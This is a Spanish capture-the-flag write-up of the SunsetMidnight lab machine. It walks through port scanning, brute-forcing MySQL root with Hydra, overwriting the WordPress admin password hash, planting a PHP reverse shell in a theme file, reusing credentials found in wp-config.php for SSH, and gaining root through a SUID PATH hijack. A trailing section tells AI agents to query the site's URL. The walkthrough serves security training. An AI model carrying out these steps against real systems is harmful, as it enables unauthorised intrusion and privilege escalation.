# SunsetMidnight

<figure><img src="/files/wHOEZjxtcK4DRvXTEFB6" alt=""><figcaption></figcaption></figure>

## Enumeración

### Servicios abiertos

Como siempre, comenzamos enumerando los servicios abiertos que tiene la máquina objetivo.

```
nmap -p- --open --min-rate 500 -Pn -n -vvv 192.168.176.88
```

<figure><img src="/files/zPtS7x0pPYoEgcHAcStm" alt=""><figcaption></figcaption></figure>

Tres servicios abiertos, puertos 22,80,3306. El siguiente paso será el escaneo profundo de estos servicios.

```
nmap -p22,80,3306 -Pn -n -sVC -vvv 192.168.176.88
```

<figure><img src="/files/0cbKxu5j9CeZBPZpusv1" alt=""><figcaption></figcaption></figure>

Servicios abiertos:

* Puerto 22 -> SSH -> OpenSSH 7.9&#x20;
* Puerto 80 -> HTTP -> Apache httpd 2.4.38
* Puerto 3306 -> MySQL -> MySQL 5.5.5-10.3.22-MariaDB

### Enumeración Web

La máquina objetivo está ejecutando un servicio Web en el puerto 80. Vamos a ver su contenido en el navegador Web. Pero antes, como vimos en el escaneo de servicios inicial, la IP redirecciona a la URL <http://sunset-midnight/>.

<figure><img src="/files/k6zDfJ8ND8KXPccqwREc" alt=""><figcaption></figcaption></figure>

Ahora vamos al navegador.

<figure><img src="/files/cSlM5Fr7zQYe2xJS6kIh" alt=""><figcaption></figcaption></figure>

Se está ejecutando un WordPress así que vamos a utilizar la herramienta wp-scan para enumerar más información interesante.&#x20;

```
wpscan --url http://sunset-midnight -e
```

Después de un momento, encuentra un nombre de usuario, "admin".

<figure><img src="/files/u3v7qunSIYTINLFxZsYu" alt=""><figcaption></figcaption></figure>

### Enumeración MySQL

Ya que no pudimos encontrar mucha información interesante en el sitio web, empezamos a enumerar el servicio MySQL. Leímos el resultado de NMAP relacionado con MySQL y notamos que utilizaban el complemento mysql\_native\_password para la autenticación. Entonces, pensamos ¿por qué no intentar el usuario "root" con contraseñas comunes? Para esto, utilizamos la herramienta Hydra y rockyou.txt.

```
hydra -l root -P '/home/elhackeretico/rockyou.txt'  192.168.176.88 mysql -vv
```

<figure><img src="/files/Dob47whiA4cj2M8nCyCl" alt=""><figcaption></figcaption></figure>

Las credenciales para la base de datos MySQL son root:robert. Ahora es el momento de iniciar sesión en MySQL. Para hacerlo, nosotros utilizamos el siguiente comando:

```
mysql -h 192.168.176.88 -u root -p
```

<figure><img src="/files/hbtblZAqQISvtHOefw7o" alt=""><figcaption></figcaption></figure>

Vamos a enumerar las bases de datos, para ello introducimos:

```
show databases;
```

<figure><img src="/files/vhcSB4zmIj04hcENXeJa" alt=""><figcaption></figcaption></figure>

Hemos seleccionado la base de datos de WordPress (wordpress\_db) con el siguiente comando.

```
use wordpress_db;
```

<figure><img src="/files/c2Xokih95IclZ2bJSwc8" alt=""><figcaption></figcaption></figure>

Hemos enumerado todas las tablas con el siguiente comando:

```
show tables;
```

<figure><img src="/files/UK9qhtYg4II3nrhnWsoB" alt=""><figcaption></figcaption></figure>

La tabla wp\_users es la tabla más interesante aquí. Ya que WordPress guarda todos sus usuarios en esta tabla. Así que, utilizamos la consulta de selección para ver todos los datos de esta tabla.

<figure><img src="/files/zbtwoC2B3hKHjHVOGGD3" alt=""><figcaption></figcaption></figure>

## Explotación

### Modificando la contraseña de "admin"

Después de ejecutar la consulta, vemos nuevamente que el único usuario es "admin". Ahora es el momento de cambiar la contraseña de "admin". Primero ciframos nuestra contraseña con MD5 y luego actualizamos la contraseña de "admin". Utilizamos el siguiente comando para cifrar nuestra contraseña. La nueva contraseña es "securiters".

```
echo -n "securiters" | md5sum
```

<figure><img src="/files/eupU4VL4WEaPA7phGd9R" alt=""><figcaption></figcaption></figure>

```
update wp_users set user_pass = '939aa0a83acd95d311d2da1fe7ec8d4a' where ID = 1;
```

<figure><img src="/files/wbgfjEdvhVJzqYbZOWT9" alt=""><figcaption></figcaption></figure>

Ahora es el momento de iniciar sesión en el panel de administración de WordPress. Así que vamos a <http://sunset-midnight/wp-admin/> e iniciamos sesión con el nombre de usuario "admin" y la contraseña "securiters".

### Accediendo al sistema

Ahora necesitamos un shell inverso para ejecutar los comandos del sistema. Así que utilizamos el editor de temas para modificar el archivo PHP del tema. Añadimos el código de la reverse shell de Pentest Monkey.

Nota: La plantilla de WP que se encuentra activa, no permite cargar archivos modificados. Así que, vamos a seleccionar la plantilla "Twenty Nineteen".

<figure><img src="/files/aeSrqcHcUxp2AkmDDEM7" alt=""><figcaption><p>Modificar IP y puerto</p></figcaption></figure>

<figure><img src="/files/oUwFgaMO6wiGKGA7OoIT" alt=""><figcaption></figcaption></figure>

Ahora vamos al archivo header.php con este enlace: <http://sunset-midnight/wp-content/themes/twentynineteen/header.php>

En nuestra máquina de ataque habilitamos un servidor nc en el puerto 1234.&#x20;

* Cambio de IP para la máquina objetivo (192.168.243.88)

Iniciamos el oyente y ejecutamos el archivo header.php modificado y ya tendremos conexión reversa con la máquina objetivo.

<figure><img src="/files/p1i5ZfTQbkejzGkXV2WS" alt=""><figcaption></figcaption></figure>

El siguiente paso es enumerar posibles vectores de elevación de privilegios y pivoting entre usuarios del sistema.

Vamos a comenzar enumerando el directorio /home. En su interior encontramos el directorio de un usuario "jose". Si enumeramos su contenido, encontramos la flag local.txt.

<figure><img src="/files/gkT6JXZTepe2bsQ9avvW" alt=""><figcaption></figcaption></figure>

## Pivotando a usuario "jose"

Pero no hay más interesante. Vamos a confirmar que "jose" es usuario del sistema.

<figure><img src="/files/Evz2tlkPMqt7qPOTnuyE" alt=""><figcaption></figcaption></figure>

Ya sabemos que "jose" es un usuario del sistema. Ahora necesitamos una contraseña.

Recordamos que la máquina objetivo está ejecutando un WordPress. Vamos a ver el contenido del directorio /var/www/html/wordpress.

<figure><img src="/files/NTT74RdSIKmx63eeRKOp" alt=""><figcaption></figcaption></figure>

wp-config.php ¿Interesante? Vamos a ver su contenido.

* Cambio de IP para la máquina objetivo (192.168.163.88)

<figure><img src="/files/HQu3sCL6uLcpi61esVOq" alt=""><figcaption></figcaption></figure>

Tenemos las credenciales del usuario "jose" en el archivo de configuración de WordPress. ¿Reciclará las credenciales para conectarse a través de SSH? Vamos a comprobarlo.

<figure><img src="/files/YH3ezjwk45uVe7YBW6o1" alt=""><figcaption></figcaption></figure>

Accedemos al sistema como usuario "jose".&#x20;

## Elevación de privilegios

Ejecutamos `sudo -l,` pero el usuario "jose" no tiene permisos dentro del sistema para hacerlo.&#x20;

<figure><img src="/files/7QCv8Ql1tXPnT5zFek8X" alt=""><figcaption></figcaption></figure>

Vamos a enumerar binarios con el bit SUID activo.

```
find / -perm -u=s 2>/dev/null
```

<figure><img src="/files/rC2B1LvkRERdN02C6KH3" alt=""><figcaption></figcaption></figure>

Verificamos a qué archivos podemos acceder y nos llama la atención el binario "/usr/bin/status".

Utilizamos "strings" sobre él y observamos que internamente llama al binario "service" pero sin especificar la ruta de origen.&#x20;

<figure><img src="/files/xfBDZUgoqIAyMVF4wLd6" alt=""><figcaption></figcaption></figure>

Esto nos permitiría crear un archivo "service" malicioso y modificar nuestro PATH para ejecutarlo.

```
export PATH=/tmp/:$PATH
```

<figure><img src="/files/0DHz1jGOhcqBGzVBYw6V" alt=""><figcaption></figcaption></figure>

El siguiente paso será crear un archivo en la carpeta "tmp" con el nombre "service", donde introduciremos la secuencia "/bin/sh", ejecutamos el binario "/usr/bin/status" y logramos obtener un shell como root.

```
echo "/bin/sh" > service
chmod +x service
/usr/bin/status
```

<figure><img src="/files/s5x5TguxEW9OpdFvcb1N" alt=""><figcaption></figcaption></figure>

Solo queda buscar la flag proof.txt para terminar de resolver este CTF.

<figure><img src="/files/mKskIokf6kgfuEjYNuti" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.youtube.com/watch?v=RsqjBp6hq9Q>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/sunsetmidnight.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
